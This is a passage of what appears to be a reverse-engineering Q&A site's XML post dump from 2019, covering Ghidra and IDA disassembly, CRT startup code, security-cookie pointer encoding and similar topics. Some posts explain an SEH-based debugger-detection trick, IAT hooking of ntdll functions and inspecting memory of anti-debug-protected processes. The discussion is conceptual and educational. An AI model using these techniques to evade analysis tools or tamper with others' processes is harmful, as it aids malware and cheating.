XOR'ed with the &lt;code&gt;__security_cookie&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gmHTE.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gmHTE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought that &lt;code&gt;__security_cookie&lt;/code&gt; is something that is used on the stack to guard against buffer-overflows. So they must be using some new security technique. Any idea what that is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And a follow up question. I'm trying to statically analyze this binary code with IDA and this &lt;code&gt;__security_cookie&lt;/code&gt; makes it very difficult to see what function is actually being called. For instance, here's how &lt;code&gt;qword_18009FBD0&lt;/code&gt; looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7eHIY.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7eHIY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to make those function addresses more legible?&lt;/p&gt;&#xA;" OwnerUserId="14864" LastActivityDate="2019-09-25T17:25:27.463" Title="__security_cookie for function pointers in Windows 10" Tags="|ida|windows|security|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22183" PostTypeId="1" AcceptedAnswerId="22184" CreationDate="2019-09-24T13:09:40.723" Score="5" ViewCount="6280" Body="&lt;p&gt;I am trying to figure out what is going on with my simple example programs, when I disassemble them with Ghidra. I am not sure whether this is some strange Ghidra behaviour or something that is set by default during compile time which produce a lot of assembly code, but I actively write only few LOC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my sample C program created with VS Studio 2017:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void main()&#xA;{&#xA;    int x = 1;&#xA;    int y = 2;&#xA;    x = x + y;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is what I get when I try to disassemble it with Ghidra:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gDxiS.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gDxiS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above screenshot is from the supposed 'entry' point of the program. But why is it so complex? I did a simple program to test how local variables are presented in Assembly and I get such output. Yet it should be few simple Assembly commands instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sevCw.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sevCw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure what I am missing out here, so if someone could help me to try and understand this, I would be grateful.&lt;/p&gt;&#xA;" OwnerUserId="29567" LastActivityDate="2019-09-24T16:47:33.060" Title="Simple C program disassembled with Ghidra" Tags="|disassembly|assembly|c|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22184" PostTypeId="2" ParentId="22183" CreationDate="2019-09-24T13:39:57.770" Score="5" Body="&lt;p&gt;Program entry point != &lt;code&gt;main&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're seeing disassembly of a few of the functions automatically linked to the program by the compiler toolchain that are responsible for setting up the &lt;em&gt;C Run-Time&lt;/em&gt; (CRT) environment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From Microsoft's &lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/c-runtime-library/crt-initialization?view=vs-2019&quot; rel=&quot;nofollow noreferrer&quot;&gt;CRT Initialization&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;By default, the linker includes the CRT library, which provides its own startup code. This startup code initializes the CRT library, calls global initializers, and then calls the user-provided &lt;code&gt;main&lt;/code&gt; function for console applications.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://stackoverflow.com/questions/22934206/what-is-the-difference-between-main-and-maincrtstartup&quot;&gt;What is the difference between main and mainCRTStartup?&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;main()&lt;/code&gt; is the entry point of your C or C++ program. &lt;code&gt;mainCRTStartup()&lt;/code&gt; is the entrypoint of the C runtime library. It initializes the CRT, calls any static initializers that you wrote in your code, then calls your &lt;code&gt;main()&lt;/code&gt; function.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;An exercise you may find interesting is compiling the following code (assuming VS Studio 2017 allows it) and then disassembling the resulting binary:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;int main(){}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the Linux version: &lt;a href=&quot;http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Linux x86 Program Start Up&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2019-09-24T16:47:33.060" LastActivityDate="2019-09-24T16:47:33.060" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22185" PostTypeId="2" ParentId="22182" CreationDate="2019-09-24T13:40:05.677" Score="3" Body="&lt;p&gt;Look for the writes to the &lt;code&gt;qword_18009FBD0&lt;/code&gt; to see where it's initialized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently it's a part of an array called   &lt;code&gt;__encodedKERNEL32Functions&lt;/code&gt; where various pointers to kernel32 functions are stored after being XORed with &lt;code&gt;__security_cookie&lt;/code&gt;. You can rename the pointer to the kernel32 function's name to better see what is happening:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  ;(from initialize_pointers)&#xA;  lea     rdx, aClosethreadpoo ; &quot;CloseThreadpoolTimer&quot;&#xA;  mov     rcx, rbx        ; hModule&#xA;  mov     cs:qword_180092498, rax&#xA;  call    cs:__imp_GetProcAddress&#xA;  xor     rax, cs:__security_cookie&#xA;  lea     rdx, aCreatethreadpo_0 ; &quot;CreateThreadpoolWait&quot;&#xA;  mov     rcx, rbx        ; hModule&#xA;  mov     cs:pCloseThreadpoolTimer_xored, rax ;&amp;lt;- variable renamed&#xA;&#xA;__crtCloseThreadpoolTimer proc near &#xA;                sub     rsp, 28h&#xA;                mov     rax, cs:pCloseThreadpoolTimer_xored&#xA;                xor     rax, cs:__security_cookie&#xA;                jz      short loc_180036A8A&#xA;                call    cs:__guard_dispatch_icall_fptr ; calls CloseThreadpoolTimer()&#xA;loc_180036A8A:  &#xA;                add     rsp, 28h&#xA;                retn&#xA;__crtCloseThreadpoolTimer endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This mitigation is not actually new and was already used in &lt;a href=&quot;https://github.com/adityaramesh/concurrency_runtime/blob/master/VS2013_SP2/crt/src/winapisupp.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;VS2013 CRT&lt;/a&gt; although in a slightly different form. It is probably aimed at reducing the number of available API pointers in standard CRT DLLs to make exploitation harder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although &lt;code&gt;__security_cookie&lt;/code&gt; is most commonly used for protecting data on the stack (GS and EH cookies), nothing prevents programmers from using it for other purposes as a simple source of entropy.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2019-09-25T17:25:27.463" LastActivityDate="2019-09-25T17:25:27.463" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22186" PostTypeId="1" AcceptedAnswerId="22188" CreationDate="2019-09-25T08:01:44.647" Score="1" ViewCount="2895" Body="&lt;p&gt;I am having some troubles with my learning of Assembly and reverse engineering. Specifically, I am learning about Global vs Local variables. For Global variables I have managed to get insights in assembly that they are stored in memory address. For Local variables I expect them to be stored on stack (theory), but my simple C code below, when being disassembled in Ghidra, does not show anything in main function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C CODE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void main()&#xA;{&#xA;    int x = 1;&#xA;    int y = 2;&#xA;    x = x + y;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;GHIDRA OUTPUT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DcGBz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DcGBz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why can't I see anything in my Ghidra? It looks like an empty function to me, but clearly there should be some local variable declaration and then addition performed afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really apologize for opening threads here often, but this is the only source where I can get help for such things. On Reddit they do not allow posting questions and referred me here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT - 25.09.2019:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per suggestion I have added some code to my existing C Code to see if it will show up now in Assembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;void main()&#xA;{&#xA;    int x = 1;&#xA;    int y = 2;&#xA;&#xA;    x = x + y;&#xA;&#xA;    printf(&quot;Rezultat = %d\n&quot;, x);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For this I had to set entry point back to CRT initialize, otherwise I could not use stdio Library. This is now the result of main function in Ghidra:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uOCeM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uOCeM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I am able to see the PUSH instruction and the value 0x03. This is probably the resulting value of addition 1 + 2, but I again can't nowhere see where are the local variables initialized nor where the arithmetic operation is performed.&lt;/p&gt;&#xA;" OwnerUserId="29567" LastEditorUserId="29567" LastEditDate="2019-09-25T08:48:00.110" LastActivityDate="2019-09-25T11:48:25.670" Title="Local variables and addition not shown in Ghidra" Tags="|disassembly|assembly|c|ghidra|local-variables|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22187" PostTypeId="2" ParentId="22186" CreationDate="2019-09-25T10:04:13.807" Score="0" Body="&lt;p&gt;These are the compiler optimizations of the release build. You should build a debug build and then load it to ghidra&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2019-09-25T10:04:13.807" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22188" PostTypeId="2" ParentId="22186" CreationDate="2019-09-25T10:14:01.670" Score="1" Body="&lt;p&gt;you may either need to use the local variables or compile with optimizations disabled &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume you are using msvc on windows ??&#xA;shown below is a snippet that was compiled on x64 for x64 in win 10 where you can clearly see the local vars being initialized and used&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f:\git\usr\bin\ls -lg&#xA;total 1&#xA;-rw-r--r-- 1 197121 61 Sep 25 15:24 local.cpp&#xA;&#xA;f:\git\usr\bin\cat *&#xA;int main (void)&#xA;{&#xA;        int x = 1;&#xA;        int y = 2;&#xA;        return x+y;&#xA;}&#xA;cl /Zi /W4 -GS /analyze /Od /nologo local.cpp /link /release /ENTRY:main /SUBSYSTEM:windows /FIXED&#xA;local.cpp&#xA;&#xA;f:\git\usr\bin\ls -lg *.exe&#xA;-rwxr-xr-x 1 197121 2560 Sep 25 15:32 local.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;description of options given to compiler and linker&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/Zi = build with debug info embedded in pdbfile &#xA;/w4 build with highest possible warning level&#xA;-GS disable stack cookie&#xA;/analyze run code analysis on the src files &#xA;/Od disable optimization&#xA;/entry:main (no crt libs are sued so you need to set the entry point&#xA;/subsystem:windows  no cmd or no crt or no input output this is not a console app &#xA;so you need to specify which subsystem will this program work on&#xA;/fixed disable relocations&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;opening the exe in ghidra and the function main copied as is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                             //&#xA;                             // .text &#xA;                             // ram: 140001000-140001022&#xA;                             //&#xA;                             **************************************************************&#xA;                             *                          FUNCTION                          *&#xA;                             **************************************************************&#xA;                             int __fastcall main(int _Argc, char * * _Argv, char * * &#xA;             int               EAX:4          &amp;lt;RETURN&amp;gt;&#xA;             int               ECX:4          _Argc&#xA;             char * *          RDX:8          _Argv&#xA;             char * *          R8:8           _Env&#xA;             undefined4        Stack[-0x14]:4 local_14                                XREF[2]:     140001004(W), &#xA;                                                                                                   140001016(R)  &#xA;             undefined4        Stack[-0x18]:4 local_18                                XREF[2]:     14000100c(*), &#xA;                                                                                                   140001013(*)  &#xA;&#xA;|||||||||||||||||||| FUNCTION |||||||||||||||||||||||||||||||&#xA;                             Symbol Ref: main&#xA;                             entry                                           XREF[4]:     Entry Point(*), 1400000e0(*), &#xA;                             .text$mn                                                     1400000e4(*), [more]&#xA;                             main&#xA;       140001000 48 83 ec 18     SUB        RSP,0x18&#xA;       140001004 c7 44 24        MOV        dword ptr [RSP + local_14],0x1&#xA;                 04 01 00 &#xA;                 00 00&#xA;       14000100c c7 04 24        MOV        dword ptr [RSP]=&amp;gt;local_18,0x2&#xA;                 02 00 00 00&#xA;       140001013 8b 04 24        MOV        EAX,dword ptr [RSP]=&amp;gt;local_18&#xA;       140001016 8b 4c 24 04     MOV        _Argc,dword ptr [RSP + local_14]&#xA;       14000101a 03 c8           ADD        _Argc,EAX&#xA;       14000101c 8b c1           MOV        EAX,_Argc&#xA;       14000101e 48 83 c4 18     ADD        RSP,0x18&#xA;       140001022 c3              RET&#xA;                             ********** main Exit ********** &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you want to disable optimization for specific functions only and not wholesale with /Od  you can use #pragmas see the screen shot below which shows vscode / vsdevcmdprompt / compilation all in one &lt;/p&gt;&#xA;&#xA;&lt;p&gt;replaced the image with a  gif that does a  &quot;show and show&quot; show&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GEeRu.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GEeRu.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-09-25T11:48:25.670" LastActivityDate="2019-09-25T11:48:25.670" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="22189" PostTypeId="1" CreationDate="2019-09-25T13:24:39.350" Score="1" ViewCount="286" Body="&lt;p&gt;I'm working on an app, that I'm trying to get to work on a android device that has additional buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The device is called a BH95, from BATL. It has 4 side buttons(1 volume up, 1 power button, 2 unknown), 3 regular android buttons on the face(Home, Return, the running app list), and 6 additional face buttons below the screen. 4 of those 6, are D-pad buttons. The two other are F1 and F2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While running a test app to determine what the keys are actually called, (A simple OnKeyDown override that posts a toast and I can just use a breakpoint on), I've found that the 2 unknown side buttons and the F1 and F2 don't trigger the OnKeyDown code, so I can't figure out what the keyCode for them is, if they even have one, and aren't handled in some weird way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how would I figure out what the buttons are called, or how to handle them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the lock/power button also doesn't trigger the keydown, neither do the home or list running app buttons, but the Return button and Volume up do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps. It doesn't have a volume down, instead overflowing the volume control when you press volume at max volume, muting the device, with an additional press setting volume to lowest non-muted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;App is a Xamarin App in VS2019&lt;/p&gt;&#xA;" OwnerUserId="29709" LastActivityDate="2020-06-22T09:05:45.617" Title="How to figure out which button I'm pressing" Tags="|android|c#|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22190" PostTypeId="1" CreationDate="2019-09-24T23:01:18.343" Score="1" ViewCount="291" Body="&lt;p&gt;Backstory: I have been trying to find a way to automatically turn batches of photos into WhatsApp stickers. I was able to do that, but now I am trying to figure out a way to actually import them into WhatsApp. For that, I am trying to piggyback off an app which can import it's own sticker pack files, with extension &lt;em&gt;.wastickers&lt;/em&gt;&#xA;(&lt;a href=&quot;https://drive.google.com/open?id=1kYD7Ifq-4pLdw_bzm9vozPP2ix2Orc6s&quot; rel=&quot;nofollow noreferrer&quot;&gt;example here&lt;/a&gt;).  The app can be found &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.marsvard.stickermakerforwhatsapp&amp;amp;hl=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon inspection with &lt;em&gt;file&lt;/em&gt;, the format turns out to be a .zip archive (and indeed it unzips). Binwalk can also see all of the files inside the archive without unzipping it. As such I tried mimicking the contents of the container and zipping it with 0 compression ratio (&quot;storage&quot; mode) and changing the extension, but the app does not see the archive as a legitimate stickerpack. Furthermore binwalk can't see the contents of such an archive off the bat. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is contained inside an archive: a png called 0, which is the stickerpack icon; A bunch of .webp files numbered from 1 to at most 30, and two text files, &lt;em&gt;title.txt&lt;/em&gt; and &lt;em&gt;author.txt&lt;/em&gt; which, you guess it, denote the title and the author of the stickerpack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is special about their container? How can I mimick it?&lt;/p&gt;&#xA;" OwnerDisplayName="Tanny Sieben" LastEditorUserId="13506" LastEditDate="2019-10-20T04:29:50.283" LastActivityDate="2019-10-20T04:29:50.283" Title="Mimicking a file format that is actually a zip" Tags="|file-format|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22191" PostTypeId="1" AcceptedAnswerId="22194" CreationDate="2019-09-26T03:14:24.487" Score="0" ViewCount="804" Body="&lt;p&gt;I've been a bit stumped recently on my decomp work. I've not dealt with C in depth nor have I dealt with IDA's pseudocode system very much at all. I understand asm, but because of how IDA merges instructions together in its pseudocode system, I'm having some trouble finding out how this translates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my pseudocode I have the following line:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// v1 is a pointer to RDI (stored as a single in pseudocode)&#xA;// v7 is a pointer to R8 (stored as a single in pseudocode)&#xA;// v10 is XMM1 (single)&#xA;&#xA;v1[1818] = (float)(v10 * (float)(*v7 - v7[1])) + v7[1];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm having trouble understanding what the square brackets do. I was thinking that it was an offset (e.g. &quot;set the data at the location of v1 in memory + 1818i64 bytes to...&quot;) but the asm doesn't match up with that addr. What's the difference between setting &lt;code&gt;v1 =&lt;/code&gt; vs setting &lt;code&gt;v1[1818] =&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="28214" LastActivityDate="2019-09-26T15:50:19.530" Title="What do square brackets do in IDA's pseudocode representation?" Tags="|ida|assembly|x86-64|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22192" PostTypeId="2" ParentId="22189" CreationDate="2019-09-26T07:22:56.063" Score="1" Body="&lt;p&gt;Actually found out what the keys were using the logcat in the Android Device Monitor.&#xA;F1,F2,F3 and F5, for those curious.&lt;/p&gt;&#xA;" OwnerUserId="29709" LastActivityDate="2019-09-26T07:22:56.063" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22193" PostTypeId="2" ParentId="22066" CreationDate="2019-09-26T09:21:12.067" Score="0" Body="&lt;p&gt;&quot;am i using the function wrong in my code and thats why its not IAT? do programs like task manager find the address of it and use it different?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is in IAT, but in normal cases executables will never directly import anything from ntdll. Rather all the imports will be from higher level WinAPI modules such as kernel32 (i.e kernel32.VirtualQuery calls ntdll.NtQueryVirtualMemory).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;is it possible to do IAT hooking with Nt and Zw functions? if not, why? I mean why its not getting included in IAT? doesn't the loader need to fix the addresses of functions just like any other library that we use?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, it's possible, but IAT hooking by its very nature will only redirect execution from the specific module you modify. You can do it through kernel32/kernelbase but it still won't catch anything outside of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Why can we use functions like Sleep() without doing stuff like above code and don't need to find its address, but when i try to use ZwQuerySystemInformation or the Nt one, i basically get a segment fault because it tries to access it from address 0 but compiler still recognizes it? if ntdll gets imported into all processes then why can't we get its address automatically?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can import from ntdll manually, you probably did it incorrectly if it resolved to nullptr.&lt;/p&gt;&#xA;" OwnerUserId="29598" LastActivityDate="2019-09-26T09:21:12.067" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22194" PostTypeId="2" ParentId="22191" CreationDate="2019-09-26T15:50:19.530" Score="2" Body="&lt;p&gt;I've found out how this works. I had the right idea, but I had made the mistake of assuming it was &lt;em&gt;n&lt;/em&gt; bytes ahead, failing to factor in the size of the actual value at hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the specific type of &lt;code&gt;v1&lt;/code&gt; was a single, this means I had to multiply the &lt;code&gt;1818&lt;/code&gt; by &lt;code&gt;4&lt;/code&gt; bytes. Looking at the corresponding ASM, &lt;code&gt;movss   dword ptr [rdi+1C68h], xmm1&lt;/code&gt;, I can see that &lt;code&gt;rdi+1C68h&lt;/code&gt; comes out to &lt;code&gt;v1&lt;/code&gt; (rdi) + &lt;code&gt;7272i64&lt;/code&gt; or &lt;code&gt;rdi+1C68h&lt;/code&gt; - it checks out.&lt;/p&gt;&#xA;" OwnerUserId="28214" LastActivityDate="2019-09-26T15:50:19.530" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22196" PostTypeId="1" CreationDate="2019-09-27T03:10:25.350" Score="1" ViewCount="2155" Body="&lt;p&gt;I have a long array in a program. I can see the contents of the array in the left view but it is not in a useful format. Is it possible to use ghidra to print the array in a copy-paste friendly format (e.g. &lt;code&gt;[var0, var1, var3 ...]&lt;/code&gt;)&lt;/p&gt;&#xA;" OwnerUserId="29720" LastActivityDate="2019-09-27T03:10:25.350" Title="Ghidra: How to display the contents of an array" Tags="|ghidra|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22200" PostTypeId="1" AcceptedAnswerId="22204" CreationDate="2019-09-27T18:18:41.057" Score="1" ViewCount="467" Body="&lt;p&gt;I'm trying to understand the mechanism of SEH (Structured Exception Handling). I understood how it was recorded and saved in FS: [0] on the previous three instructions. But why add interrupt 1 (step by step): I can not understand what the report is.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push handler&#xA;push FS:[0]&#xA;mov  FS:[0], esp&#xA;int  1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28528" LastActivityDate="2019-09-27T22:29:56.230" Title="I'm trying to understand the SEH mechanism" Tags="|windows|x86|assembly|pe32|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22201" PostTypeId="1" AcceptedAnswerId="22314" CreationDate="2019-09-27T20:47:11.227" Score="5" ViewCount="1331" Body="&lt;p&gt;This functionality is available in Cheat Engine where the debugger won't be attached until you set a breakpoint or explicitly ask for the debugger to be attached. I've looked everywhere and couldn't find anything similar for x64dbg. It's very useful when you want to view or modify memory of the process which employs anti-debug measures.&lt;/p&gt;&#xA;" OwnerUserId="29730" LastActivityDate="2020-02-16T10:01:00.120" Title="Is it possible to view and modify process memory without attaching the debugger in x64dbg?" Tags="|x64dbg|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="22202" PostTypeId="2" ParentId="22180" CreationDate="2019-09-27T21:19:09.890" Score="2" Body="&lt;p&gt;Inline syscalls are rarely used on their own even in minimal libraries like musl. Usually there are wrapper functions around the syscall which is what actually ends up in the binary. So what you can do is use the FLAIR toolkit to generate a FLIRT signature from the musl’s static library and then apply the signature to your binary. This way you should get all the wrapper functions recognized which, coupled with one of the standard type libraries, should give you names and arguments for the C library functions. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-09-27T21:19:09.890" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22203" PostTypeId="2" ParentId="22168" CreationDate="2019-09-27T21:37:12.407" Score="4" Body="&lt;p&gt;The default dialog you’re seeing uses so-called “&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/508.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;linear addresses”&lt;/a&gt; which are global for the whole program and can  not intersect. It is mostly useful for processors with unified (Von Neumann) address space. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since 8051 is a Harvard architecture with separate code and data memories, each one starting at zero, IDA emulates it by creating non-intersecting segments in the linear address space but setting up the segment &lt;em&gt;base&lt;/em&gt; in such a way that the apparent addresses inside the data segment also start at 0. You can check how it’s done by dismissing this dialog and letting the default 8051 handling do its job. In a similar manner you can &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/511.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;create a custom segment&lt;/a&gt; for the XRAM address space. Once this is done, to specify that a value(e.g. an instruction opearand) is an offset in a specific segment, you can use these shortcuts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Data segment: O&lt;/li&gt;&#xA;&lt;li&gt;code segment(actually “current segment”): Ctrl-O&lt;/li&gt;&#xA;&lt;li&gt;any another segment: Alt-R&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These commands are available in the Edit|Operand types|Offset submenu. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-09-27T21:37:12.407" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22204" PostTypeId="2" ParentId="22200" CreationDate="2019-09-27T22:29:56.230" Score="2" Body="&lt;p&gt;&lt;code&gt;int 1&lt;/code&gt; is &lt;em&gt;not&lt;/em&gt; a part of the SEH setup, that's done by the third instruction. However, &lt;code&gt;int&lt;/code&gt; is intercepted by Windows and is translated into an &lt;strong&gt;exception&lt;/strong&gt; which is then dispatched to the handler that has been set up by the previous instructions. So basically here it serves as a sort of &quot;invoke handler&quot; macro. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice, any privileged instruction (e.g. &lt;code&gt;hlt&lt;/code&gt; or &lt;code&gt;out&lt;/code&gt;) could have been used as well, but the &quot;nice&quot; thing about &lt;code&gt;int 1&lt;/code&gt; is that it produces a single step exception which is used by the debugging API to report single-step events to the debugger during normal debugging. If the debugger does not track its own actions properly, it may consider this exception as one originating from the debugging activity (single-stepping through the code), handle it as a normal single step and &lt;em&gt;do not pass&lt;/em&gt; the exception to the debuggee. This means the handler code won't be executed and the debugger or tracer could be &lt;em&gt;detected&lt;/em&gt; by the code.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-09-27T22:29:56.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22207" PostTypeId="1" AcceptedAnswerId="22212" CreationDate="2019-09-28T19:14:53.493" Score="0" ViewCount="147" Body="&lt;p&gt;Hi I am sort of new to ida pro even though I've used a lot but when I push a function where a 0 used to be it gives me sp-analysis failure&#xA;&lt;a href=&quot;https://i.stack.imgur.com/HaOpl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HaOpl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searched for a fix for a while to no avail&#xA;help would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="29681" LastActivityDate="2019-09-29T11:36:41.033" Title="Error when changing push 0 to push function" Tags="|ida|assembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
